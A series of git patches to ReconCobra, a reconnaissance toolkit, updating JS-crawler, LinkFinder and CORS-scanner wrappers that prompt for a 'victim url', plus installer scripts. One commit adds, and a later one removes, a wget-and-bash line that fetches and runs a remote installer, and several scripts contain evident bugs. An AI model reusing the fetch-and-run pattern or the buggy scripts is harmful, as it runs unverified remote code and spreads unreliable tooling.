found_pages_list, found_pages_set, regurgited_pages, caught_docs = explore_page( + base_url, page_url, str(page.content), wanted_ext, journal, do_dl, + found_pages_list, found_pages_set, regurgited_pages, caught_docs) + page.close() + if single_page: + break + if do_journal: + journal.info("found %d pages, %d doc(s)" % (len(found_pages_set), len(caught_docs))) + + +def explore_page(base_url, page_url, page_str, wanted_ext, journal, do_dl, + found_pages_list, found_pages_set, regurgited_pages, caught_docs): + # extract links + for a_href in RE_FIND_LINKS.finditer(page_str): + a_href = a_href.group(a_href.lastindex) + if not RE_REL_LINK.search(a_href): # if it's a relative link + a_href = urljoin(page_url, a_href) + if wanted_ext.search(a_href) and a_href not in caught_docs: # wanted doc ? + caught_docs.add(a_href) + do_dl and download_file(a_href) or print(a_href) + elif base_url in a_href and not BIN_EXT.search(a_href): # next page ? + if a_href not in found_pages_set: + journal and journal.info("will explore "+a_href) + found_pages_list.append(a_href) + found_pages_set.add(a_href) + elif a_href not in regurgited_pages: # junk link ? + journal and journal.debug("regurgited link "+a_href) + regurgited_pages.add(a_href) + return found_pages_list, found_pages_set, regurgited_pages, caught_docs + + +def controlled_sleep(seconds=1, do_random_wait=False): + sleep(randint(1, seconds) if do_random_wait else seconds) + + +def download_file(URL, do_wait=False, do_random_wait=False): + do_wait and controlled_sleep(do_wait, do_random_wait) + with open(URL.split('/')[-1], 'wb') as f: + f.write(requests.get(URL, stream=True).content) + + +def download_files(URLs_file, do_wait=False, do_random_wait=False): + line_nb = 0 + downloaded_files = 0 + with open(URLs_file) as f: + for line in f: + line = line.rstrip('\n') + if line is '': + continue + line_nb += 1 + print('download %d - %s' % (line_nb, line)) + try: + download_file(line, do_wait, do_random_wait) + downloaded_files += 1 + except Exception as e: + stderr(e) + print('downloaded %d / %d' % (downloaded_files, line_nb)) + + +if __name__ == '__main__': + run_cmd(argv) From 261f08bdf91ee8fe906a6c0cd6ae4f14a5295ec2 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:33:18 +0500 Subject: [PATCH 113/272] Update ReconCobra.pl --- ReconCobra.pl | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index d12779d..dfb36f9 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3176,11 +3176,12 @@ () print item(),"Catuion: Downloading JS files may take a while\n"; print item(),"1 - Use JS Crawler and Downloader\n"; print item(),"2 - Use LinkFinder: "; + print item(),"Enter Option\n"; chomp($enter=); if ($enter =~1) { if (system("/usr/share/ReconCobra/linkfinder1.sh") == 0) { print item(),"success!\n"; - print item(),"Results are saved in linkfinder_results folder\n"; + print item(),"Results are saved in js_linkfinder at results folder\n"; } else { print item(),"Make linkfinder1.sh available in same folder\n"; @@ -3190,7 +3191,7 @@ () if ($enter =~2) { if (system("/usr/share/ReconCobra/linkfinder2.sh") == 0) { print item(),"success!\n"; - print item(),"Results are saved in linkfinder_results folder\n"; + print item(),"Results are saved in js_linkfinder at results\n"; } else { print item(),"Make linkfinder2.sh available in same folder\n"; From 1fbb1433ace1a8c02ef7ad095be87d4f0e1d5f26 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:34:43 +0500 Subject: [PATCH 114/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index e45b58b..993d724 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -3175,12 +3175,13 @@ () sub linkfinder() { print item(),"Catuion: Downloading JS files may take a while\n"; print item(),"1 - Use JS Crawler and Downloader\n"; - print item(),"2 - Use LinkFinder: "; + print item(),"2 - Use LinkFinder\n"; + print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { if (system("./linkfinder1.sh") == 0) { print item(),"success!\n"; - print item(),"Results are saved in linkfinder_results folder\n"; + print item(),"Results are saved in js_linkfinder at results folder\n"; } else { print item(),"Make linkfinder1.sh available in same folder\n"; @@ -3190,7 +3191,7 @@ () if ($enter =~2) { if (system("./linkfinder2.sh") == 0) { print item(),"success!\n"; - print item(),"Results are saved in linkfinder_results folder\n"; + print item(),"Results are saved in js_linkfinder at results\n"; } else { print item(),"Make linkfinder2.sh available in same folder\n"; From f40b86eb5b60c9c72109db04c16531524313650a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:35:02 +0500 Subject: [PATCH 115/272] Update ReconCobra.pl --- ReconCobra.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index dfb36f9..142d22e 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3175,8 +3175,8 @@ () sub linkfinder() { print item(),"Catuion: Downloading JS files may take a while\n"; print item(),"1 - Use JS Crawler and Downloader\n"; - print item(),"2 - Use LinkFinder: "; - print item(),"Enter Option\n"; + print item(),"2 - Use LinkFinder\n "; + print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { if (system("/usr/share/ReconCobra/linkfinder1.sh") == 0) { From b0d96be1f3637e41b8f146c5931264177963ebe3 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:36:28 +0500 Subject: [PATCH 116/272] Update linkfinder2.sh --- linkfinder2.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 33fa001..f17b287 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -1,5 +1,5 @@ #!/bin/bash -mkdir js_linkfinder +mkdir js_linkfinder/results cd js_linkfinder echo "[ + ] Enter TERMUX option for Termux else press RETURN :" read $first @@ -19,4 +19,7 @@ echo "$victim" python3 js_linkfinder.py --wait=2 --download https://$victim fi + +cp * ./results +rm * cd .. From d570b3bae8484f93e4e45d4873bb7301a289ba43 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:42:40 +0500 Subject: [PATCH 117/272] Update linkfinder2.sh --- linkfinder2.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index f17b287..566dd79 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -20,6 +20,6 @@ python3 js_linkfinder.py --wait=2 --download https://$victim fi -cp * ./results -rm * +cp *.js /results +rm *.js cd .. From e2ea80f096abe41269b47e8305d7042285c54c54 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:43:56 +0500 Subject: [PATCH 118/272] Update linkfinder2.sh --- linkfinder2.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 566dd79..833eb12 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -1,6 +1,8 @@ #!/bin/bash -mkdir js_linkfinder/results +mkdir js_linkfinder +mkdir results cd js_linkfinder + echo "[ + ] Enter TERMUX option for Termux else press RETURN :" read $first From e9ce1c9753e53ff43001cc949668a89258761f01 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:44:55 +0500 Subject: [PATCH 119/272] Update linkfinder2.sh --- linkfinder2.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 833eb12..1d0a1b3 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -12,13 +12,13 @@ then read -p "[ + ] Enter victim url: " victim echo "$victim" -python js_linkfinder.py --wait=2 --download https://$victim +python js_linkfinder.py --wait=2 --download $victim else read -p "[ + ] Enter victim url: " victim echo "$victim" -python3 js_linkfinder.py --wait=2 --download https://$victim +python3 js_linkfinder.py --wait=2 --download $victim fi From 4e8334cc6d038d5c4287555bb562d8925cfa6a5f Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:54:48 +0500 Subject: [PATCH 120/272] Update linkfinder2.sh --- linkfinder2.sh | 26 +++----------------------- 1 file changed, 3 insertions(+), 23 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 1d0a1b3..96ebfd9 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -1,27 +1,7 @@ #!/bin/bash -mkdir js_linkfinder -mkdir results -cd js_linkfinder - -echo "[ + ] Enter TERMUX option for Termux else press RETURN :" -read $first - -if [ "$first" == 'TERMUX' ] - -then +cd LinkFinder read -p "[ + ] Enter victim url: " victim +echo "[ + ] Example: https://www.google.com and result will automatically available at browser echo "$victim" -python js_linkfinder.py --wait=2 --download $victim - -else - -read -p "[ + ] Enter victim url: " victim -echo "$victim" -python3 js_linkfinder.py --wait=2 --download $victim - -fi - -cp *.js /results -rm *.js -cd .. +python2 linkfinder.py -i $victim -d From 4d57c5e40e776af9a2fb948b50eae6c06a6894ae Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 18:55:07 +0500 Subject: [PATCH 121/272] Update linkfinder1.sh --- linkfinder1.sh | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/linkfinder1.sh b/linkfinder1.sh index fe1c373..1d0a1b3 100644 --- a/linkfinder1.sh +++ b/linkfinder1.sh @@ -1,5 +1,27 @@ #!/bin/bash -mkdir linkfinder_results -cd linkfinder_results -echo -n "Enter URL : " ; read URL -python3 js_linkfinder.py --wait=2 --download https://$URL \ No newline at end of file +mkdir js_linkfinder +mkdir results +cd js_linkfinder + +echo "[ + ] Enter TERMUX option for Termux else press RETURN :" +read $first + +if [ "$first" == 'TERMUX' ] + +then + +read -p "[ + ] Enter victim url: " victim +echo "$victim" +python js_linkfinder.py --wait=2 --download $victim + +else + +read -p "[ + ] Enter victim url: " victim +echo "$victim" +python3 js_linkfinder.py --wait=2 --download $victim + +fi + +cp *.js /results +rm *.js +cd .. From 080a4d4b1c5bc9b93a51583cc5269c274fbf8589 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 19:01:00 +0500 Subject: [PATCH 122/272] Add files via upload --- linkfinder3.sh | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 linkfinder3.sh diff --git a/linkfinder3.sh b/linkfinder3.sh new file mode 100644 index 0000000..3e3e6ff --- /dev/null +++ b/linkfinder3.sh @@ -0,0 +1,5 @@ +#!/bin/bash +cd LinkFinder +echo "[ + ] Before using this tool" +echo "[ + ] copy all js files into LinkFinder/jsfiles folder first" +python linkfinder.py -i 'jsfiles/*.js' -r ^/api/ -o results.html \ No newline at end of file From c978ae4a67d6321cd192370ba47a0cc3af8ef507 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 19:06:36 +0500 Subject: [PATCH 123/272] Update ReconCobra.pl --- ReconCobra.pl | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 142d22e..7cf8f4f 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3176,6 +3176,7 @@ () print item(),"Catuion: Downloading JS files may take a while\n"; print item(),"1 - Use JS Crawler and Downloader\n"; print item(),"2 - Use LinkFinder\n "; + print item(),"3 - Extract Endpoints and API using downloaded js files\n "; print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { @@ -3191,13 +3192,24 @@ () if ($enter =~2) { if (system("/usr/share/ReconCobra/linkfinder2.sh") == 0) { print item(),"success!\n"; - print item(),"Results are saved in js_linkfinder at results\n"; + print item(),"Results are saved in LinkFinder folder\n"; } else { print item(),"Make linkfinder2.sh available in same folder\n"; print item(),"Command failed\n"; } } + if ($enter =~3) { + if (system("/usr/share/ReconCobra/linkfinder3.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in LinkFinder folder\n"; + } + else { + print item(),"Make linkfinder3.sh available in same folder\n"; + print item(),"Command failed\n"; + } + } + } From 069521032560f18cba26a212d3be4d245a10bdb8 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 19:06:47 +0500 Subject: [PATCH 124/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 993d724..9d87a3e 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -3198,6 +3198,17 @@ () print item(),"Command failed\n"; } } + if ($enter =~3) { + if (system("./linkfinder3.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in LinkFinder folder\n"; + } + else { + print item(),"Make linkfinder3.sh available in same folder\n"; + print item(),"Command failed\n"; + } + } + } From 01897aea1e2e129a3b6fd17d6c953e1e39f29ca8 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 19:08:25 +0500 Subject: [PATCH 125/272] Update ReconCobra.pl --- ReconCobra.pl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 7cf8f4f..5917454 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3175,8 +3175,8 @@ () sub linkfinder() { print item(),"Catuion: Downloading JS files may take a while\n"; print item(),"1 - Use JS Crawler and Downloader\n"; - print item(),"2 - Use LinkFinder\n "; - print item(),"3 - Extract Endpoints and API using downloaded js files\n "; + print item(),"2 - Use LinkFinder\n"; + print item(),"3 - Extract Endpoints and API using downloaded js files\n"; print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { From d16157cf3c66889e23662578818be228636b5754 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 19:09:15 +0500 Subject: [PATCH 126/272] Update ReconCobraTermux.pl --- ReconCobraTermux.pl | 1 + 1 file changed, 1 insertion(+) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 9d87a3e..e3dd19f 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -3176,6 +3176,7 @@ () print item(),"Catuion: Downloading JS files may take a while\n"; print item(),"1 - Use JS Crawler and Downloader\n"; print item(),"2 - Use LinkFinder\n"; + print item(),"3 - Extract Endpoints and API using downloaded js files\n"; print item(),"Enter Option: "; chomp($enter=); if ($enter =~1) { From c1dfc6e1f482d42de149ba2abf9970979ab70c63 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 19:09:46 +0500 Subject: [PATCH 127/272] Add files via upload --- linkfinder3.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/linkfinder3.sh b/linkfinder3.sh index 3e3e6ff..074ec88 100644 --- a/linkfinder3.sh +++ b/linkfinder3.sh @@ -2,4 +2,6 @@ cd LinkFinder echo "[ + ] Before using this tool" echo "[ + ] copy all js files into LinkFinder/jsfiles folder first" +echo "[ + ] Otherwise you output will be an error" +echo "" python linkfinder.py -i 'jsfiles/*.js' -r ^/api/ -o results.html \ No newline at end of file From 78ce32a396d8f04f88633c6c176bcc3e58fa7082 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 19:13:26 +0500 Subject: [PATCH 128/272] Update linkfinder2.sh --- linkfinder2.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/linkfinder2.sh b/linkfinder2.sh index 96ebfd9..aeabcd8 100644 --- a/linkfinder2.sh +++ b/linkfinder2.sh @@ -1,7 +1,5 @@ #!/bin/bash cd LinkFinder - read -p "[ + ] Enter victim url: " victim -echo "[ + ] Example: https://www.google.com and result will automatically available at browser echo "$victim" python2 linkfinder.py -i $victim -d From 0d5bde13af67bbeb44df04ae2ffb115901a1532c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 21:02:02 +0500 Subject: [PATCH 129/272] Update linkfinder1.sh --- linkfinder1.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linkfinder1.sh b/linkfinder1.sh index 1d0a1b3..45cda7e 100644 --- a/linkfinder1.sh +++ b/linkfinder1.sh @@ -22,6 +22,6 @@ python3 js_linkfinder.py --wait=2 --download $victim fi -cp *.js /results +cp *.js ./results rm *.js cd .. From de50d4d056c0561c73eb22fb9f992f738cd4ac28 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 21:13:41 +0500 Subject: [PATCH 130/272] Update linkfinder1.sh --- linkfinder1.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/linkfinder1.sh b/linkfinder1.sh index 45cda7e..bd5e0a8 100644 --- a/linkfinder1.sh +++ b/linkfinder1.sh @@ -22,6 +22,5 @@ python3 js_linkfinder.py --wait=2 --download $victim fi -cp *.js ./results -rm *.js +cp *.js /results cd .. From f71f9f1c015bf745128bde383347004eece7d44f Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 22:16:53 +0500 Subject: [PATCH 131/272] Update linkfinder3.sh --- linkfinder3.sh | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/linkfinder3.sh b/linkfinder3.sh index 074ec88..d1fa46e 100644 --- a/linkfinder3.sh +++ b/linkfinder3.sh @@ -1,7 +1,8 @@ #!/bin/bash cd LinkFinder +echo "" echo "[ + ] Before using this tool" -echo "[ + ] copy all js files into LinkFinder/jsfiles folder first" -echo "[ + ] Otherwise you output will be an error" +echo "[ + ] copy all js files into LinkFinder folder" +echo "[ + ] loading results" echo "" -python linkfinder.py -i 'jsfiles/*.js' -r ^/api/ -o results.html \ No newline at end of file +python linkfinder.py -i '*.js' -r ^/api/ -o results.html From d3bb562a3abb1a99ed19dbd8131d509760696993 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 22:19:32 +0500 Subject: [PATCH 132/272] Update installer.sh --- installer.sh | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/installer.sh b/installer.sh index 65c66c0..40b4ebf 100644 --- a/installer.sh +++ b/installer.sh @@ -92,6 +92,7 @@ perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; sudo cp "ReconCobra" "/usr/local/bin/" rm "ReconCobra"; +echo -e "$red [$green+$red]$off Installing dependencies..." echo "y" | apt-get install xdg-utils echo "y" | apt-get install cargo echo "y" | apt-get install python-yaml @@ -99,19 +100,23 @@ echo "y" | apt-get install hping3 echo "y" | apt-get install python3 echo "y" | apt-get install golang echo "y" | apt-get install curl +echo "y" | apt-get install gem +gem install wayback_machine_downloader echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/Miladkhoshdel/corschecker.git echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git +echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git echo "y" | git clone https://github.com/haroonawanofficial/vasl.git echo "y" | git clone https://github.com/haroonawanofficial/panthera.git echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git echo "y" | git clone https://github.com/heycam/json-describe cd json-describe -cargo install +cargo build cd .. echo "y" | apt-get install nmap pip install requests @@ -125,7 +130,10 @@ echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git cd EyeWitness/setup chmod u+x setup.sh ./setup.sh - +cd .. +cd .. +chmod u+x *.sh +cp * -r /usr/share/ReconCobra if [ -d "/usr/share/ReconCobra" ] ; then From 3342ac8a4bb4bf3ab1d31a15b429f8e87577a543 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 23:04:44 +0500 Subject: [PATCH 133/272] Update termuxinstaller.sh --- termuxinstaller.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 0b571e1..06833f8 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -78,6 +78,7 @@ echo "y" | git clone https://github.com/Miladkhoshdel/corschecker.git echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/heycam/json-describe cd json-describe cargo build From 359ab093eef248c2e09914b7aaa237c2599c7f21 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 23:05:10 +0500 Subject: [PATCH 134/272] Update installer.sh --- installer.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/installer.sh b/installer.sh index 40b4ebf..be67e87 100644 --- a/installer.sh +++ b/installer.sh @@ -111,6 +111,7 @@ echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/haroonawanofficial/vasl.git echo "y" | git clone https://github.com/haroonawanofficial/panthera.git echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git From 99864e29d5dd5d62d1351dc8d5e7323f91408bca Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 22 Jun 2019 23:11:13 +0500 Subject: [PATCH 135/272] Update termuxinstaller.sh --- termuxinstaller.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 06833f8..b785775 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -35,6 +35,8 @@ apt-get install make apt-get install clang apt-get install unzip apt-get install tar +echo -e "Installing Java ..."; +wget https://raw.githubusercontent.com/MasterDevX/java/master/installjava && bash installjava echo -e "Installing Perl ..."; apt-get install -y perl echo -e "Installing JSON Module ..."; From 4477586b4a60c91ab6e8e005236926823145514c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 24 Jun 2019 00:47:12 +0500 Subject: [PATCH 136/272] Update termuxinstaller.sh --- termuxinstaller.sh | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index b785775..e6c0e40 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -35,8 +35,6 @@ apt-get install make apt-get install clang apt-get install unzip apt-get install tar -echo -e "Installing Java ..."; -wget https://raw.githubusercontent.com/MasterDevX/java/master/installjava && bash installjava echo -e "Installing Perl ..."; apt-get install -y perl echo -e "Installing JSON Module ..."; @@ -76,7 +74,7 @@ echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | git clone https://github.com/Miladkhoshdel/corschecker.git +echo "y" | git clone https://github.com/chenjj/CORScanner.git echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git From fe77758e0c7488d34a573a9806aabfbc1e21a665 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 24 Jun 2019 00:58:43 +0500 Subject: [PATCH 137/272] Update cors.sh --- cors.sh | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/cors.sh b/cors.sh index bc122ca..d05f43f 100644 --- a/cors.sh +++ b/cors.sh @@ -1,4 +1,6 @@ #!/bin/bash -cd corschecker -java -cp CORSChecker.jar CORSChecker -cd .. \ No newline at end of file +cd CORScanner/ +echo -n "[ + ] Enter Target: " +read Target +python2 cors_scan.py -u $Target --verbose +cd .. From 2aa0f80443fc67e7d292182bdb4caad9cef843fa Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 24 Jun 2019 01:28:43 +0500 Subject: [PATCH 138/272] Update termuxinstaller.sh --- termuxinstaller.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index e6c0e40..80a217a 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -75,6 +75,9 @@ echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git echo "y" | git clone https://github.com/chenjj/CORScanner.git +cd CORScanner +pip install -r requirements.txt +cd .. echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git From 6859e8d7535c1f64f08ece4ba78d7e79887a4b86 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 24 Jun 2019 01:29:27 +0500 Subject: [PATCH 139/272] Update installer.sh --- installer.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/installer.sh b/installer.sh index be67e87..dca9872 100644 --- a/installer.sh +++ b/installer.sh @@ -106,12 +106,14 @@ echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | git clone https://github.com/Miladkhoshdel/corschecker.git +echo "y" | git clone https://github.com/chenjj/CORScanner.git +cd CORScanner +pip install -r requirements.txt +cd .. echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git -echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git echo "y" | git clone https://github.com/haroonawanofficial/vasl.git echo "y" | git clone https://github.com/haroonawanofficial/panthera.git echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git From 3479a93e0cb5af268fbfb67dc53c40d95f16ecb0 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 24 Jun 2019 02:25:58 +0500 Subject: [PATCH 140/272] Update installer.sh --- installer.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/installer.sh b/installer.sh index dca9872..b68b843 100644 --- a/installer.sh +++ b/installer.sh @@ -122,6 +122,8 @@ cd json-describe cargo build cd .. echo "y" | apt-get install nmap +pip install jsbeautifier +pip install argparse pip install requests pip install request cd SearchEngineScrapy From 97877261f037b3ec7201525da9020977f3b28492 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 24 Jun 2019 02:26:18 +0500 Subject: [PATCH 141/272] Update termuxinstaller.sh --- termuxinstaller.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 80a217a..313a7f1 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -90,6 +90,8 @@ echo "y" | https://github.com/haroonawanofficial/vasl.git echo "y" | apt-get install nmap echo "y" | git clone https://github.com/haroonawanofficial/panthera.git echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +pip install jsbeautifier +pip install argparse pip install requests pip install request cd SearchEngineScrapy From e6a35d7e8763fc970028a5dc4acddb8276eb07ad Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 24 Jun 2019 02:31:15 +0500 Subject: [PATCH 142/272] Update termuxinstaller.sh --- termuxinstaller.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 313a7f1..fbb9454 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -82,6 +82,8 @@ echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git echo "y" | git clone https://github.com/exiftool/exiftool.git echo "y" | git clone https://github.com/sensepost/BiLE-suite.git echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git +cd LinkFinder +python setup.py install echo "y" | git clone https://github.com/heycam/json-describe cd 